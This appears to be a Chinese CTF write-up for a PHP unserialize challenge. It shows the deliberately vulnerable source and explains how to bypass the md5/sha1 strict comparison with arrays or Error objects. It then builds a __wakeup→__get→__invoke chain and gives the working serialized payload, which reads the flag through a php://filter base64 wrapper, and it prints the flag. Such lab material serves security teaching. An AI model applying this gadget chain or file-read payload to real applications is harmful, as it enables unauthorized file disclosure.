题目来源
题目内容
<?php
error_reporting(0);
class User{
public $username;
public $password;
public $variable;
public $a;
public function __construct()
{
$this->username = "user";
$this->password = "user";
}
public function __wakeup(){
if( ($this->username != $this->password) && (md5($this->username) === md5($this->password)) && (sha1($this->username)=== sha1($this->password)) ){
echo "wuhu!";
return $this->variable->xxx;
}else{
die("o^o");
}
}
}
class Login{
public $point;
public function __get($key){
$func = $this->point;
return $func();
}
}
class Read{
public $filename;
public function __invoke(){
echo file_get_contents($this->filename.".php");
}
}
if(isset($_GET['x'])){
unserialize($_GET['x']);
}else{
highlight_file(__FILE__);
}
?>
整体思路
题目内容是这样
我们先来看思路,接收到x变量的是序列化的内容,反序列化之后,会调用类的__wakeup 方法,我们需要从创建User的类,来进入if循环内,并且通过
($this->username != $this->password) && (md5($this->username) ===
md5($this->password)) && (sha1($this->username)=== sha1($this->password))
该对比,我们可以看到MD5和SHA1是强比较,具体内容可以参考http://t.csdnimg.cn/g8W1T该博客
我们有两种方法绕过MD5和SHA1的比较
第一种:创建两个数组,并赋值给username和password,因为md5和SHA1对数组识别会有漏洞
$user = new User();
$a=array("1");
$b=array("2");
$user->username = $a;
$user->password = $b;
第二种:用Error错误绕过
$a = new Error($str, 1);
$b = new Error($str, 2);
$user->username = $a;
$user->password = $b;
//其中错误的输出为Error in /box/script.php:53
//Stack trace:
//#0 {main}
当我们绕过MD5之后考虑如果得到flag
我们可以发现
__get($key)函数和__invoke()函数
__get()函数: | 读取不可访问属性的值时,__get() 会被调用。也就是当想要获取一个类不存在的私有属性时会执行get函数 |
---|---|
__invoke()函数: | 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。 |
所以我们需要先调用get函数,在从get函数中调用invoke函数
所以接下来的代码为:
$login = new Login();
$read= new Read();
$read->filename="php://filter/read=convert.base64-encode/resource=flag";
$login->point=$read;
$user->variable= $login;
echo serialize($user);
结果如下
O:4:"User":4:{s:8:"username";a:1:{i:0;s:1:"1";}s:8:"password";a:1:{i:0;s:1:"2";}s:8:"variable";O:5:"Login":1:{s:5:"point";O:4:"Read":1:{s:8:"filename";s:53:"php://filter/read=convert.base64-encode/resource=flag";}}s:1:"a";N;}
成功拿到flag,
NUAACTF{y0u_c4n_re3lly_l0g1N!}